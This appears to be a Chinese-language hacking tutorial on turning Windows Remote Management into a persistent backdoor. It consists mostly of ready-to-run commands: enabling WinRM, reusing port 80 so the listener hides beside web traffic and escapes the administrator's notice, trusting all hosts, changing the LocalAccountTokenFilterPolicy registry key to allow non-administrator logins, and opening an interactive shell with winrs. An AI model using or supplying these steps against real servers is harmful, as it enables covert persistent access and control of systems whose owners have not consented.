一、簡介
WinRM是WindowsRemoteManagementd(win遠程管理)的簡稱。基於Web服務管理(WS-Management)標准,使用80端口或者443端口。這樣一來,我們就可以在對方有設置防火牆的情況下遠程管理這台服務器了。
Server2008R2及往上的系統中默認中都開啟該服務,從Server2012系統后開始,該WinRM服務便被設置為默認開啟。Win7系統中卻默認安裝此WinRM服務,但是默認為禁用狀態,Win8系統和Win10系統也都默認開啟WinRM服務。
PS:WIN7或2008需要手動開戶WINRM
默認端口:
5985/tcp (HTTP)
5986/tcp (HTTPS)
二、開啟WinRM服務
開啟命令:
winrm quickconfig ‐q
開啟后可通過以下命令查詢:
netsh http show servicestate
此時如果機器上開啟了5985端口,說明服務已經成功啟動。
三、端口復用
只需執行一條命令:
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
這條命令將會開啟80端口的監聽器,如若服務器上存在web服務,也不影響這條命令的執行。
同時可以通過下述命令來查看所開啟的監聽器:
winrm e winrm/config/listener
而此時5985還是開啟的,如果不想讓管理員發現該端口,可以只設置80端口的監聽器,而如果是2012服務器默認開啟的,則無需進行如下步驟:
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
至此服務器就配置完成。
四、后門利用
# 啟動winrm winrm quickconfig ‐q # 設置信任主機地址 winrm set winrm/config/Client @{TrustedHosts="*"}
本機也需開啟winrm和添加信任地址,如上是cmd的添加方式
powershell如下
set-item wsman:\localhost\Client\TrustedHosts -value 192.168.1.2
后續利用只需要鏈接即可
winrs ‐r:http://www.target.com ‐u:administrator ‐p:Password [命令]
如遇類似錯誤,只因chcp不同導致,執行chcp 437即可解決
替換上述圖中命令的whoami為cmd即可獲取交互shell
應用環境可為內網,且不出網的情況下所創建的持續化后門方式。
利用條件:
1. 只允許administrator用戶登錄
如需不限制用戶登錄得修改注冊表位置
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
2. 目標內網有80端口開放出來
3. 須知登錄用戶的明文密碼